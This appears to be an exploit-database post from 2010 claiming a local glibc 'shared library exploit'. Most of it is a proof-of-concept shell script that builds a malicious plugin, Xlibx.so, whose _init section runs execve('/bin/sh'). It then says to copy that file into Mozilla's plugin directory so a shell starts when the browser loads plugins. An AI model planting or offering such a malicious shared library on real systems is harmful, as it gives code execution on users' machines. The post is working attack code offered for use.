Local Glibc shared library (.so) <= 2.11.1 exploit

                                                # Exploit Title: Local Glibc shared library (.so) exploit
# Date: 07.04.10
# Author: Rh0 ([email protected])
# Software Link: NA
# Version: <= 2.11.1, higher not tested
# Tested on: Debian stable (x86-64), Ubunutu 9.10 (x86), Fedora 12 (x86)
# CVE : NA
# Code :

#!/bin/sh

# A lot of applications in linux use shared library structure to be
# able to load plugins. E.g. Mozilla, Geany IDE, Compiz, Epiphany web
# browser and more. Shared libraries are initialized (but not loaded)
# often during startup, at a click at something like "->Tools->Plugins"
# in the menue or at latest when they are activated. dlopen() is used
# for initializing and is part of glibc.
# See http://linux.die.net/man/3/dlopen.
# It always executes the _init section of the shared library. A
# malformed _init section makes dlopen crash (NULL dereference). But
# this is not even necessary to exploit an application, as a custom
# _init section is always executed when dlopen is called . The exploit
# can be in the form of a custom compiled file. Also the _init section in
# a plugin already shipped with the application can be overwritten with
# working shellcode to exploit it or some \x41 to crash it .

# PoC:

cat >Xlibx.c<<EOF

#include <unistd.h>
_init()
{
execve("/bin/sh",NULL,NULL); // evil _init
}
EOF

gcc -fPIC -c Xlibx.c
ld -shared -soname Xlibx -o Xlibx.so -lc Xlibx.o
rm Xlibx.c
rm Xlibx.o

echo "* copy Xlibx.so to appropriate directory:"
echo "* Mozilla: HOMEDIR/.mozilla/plugins/ "
echo "* firefox->Edit->Preferences => Exploit "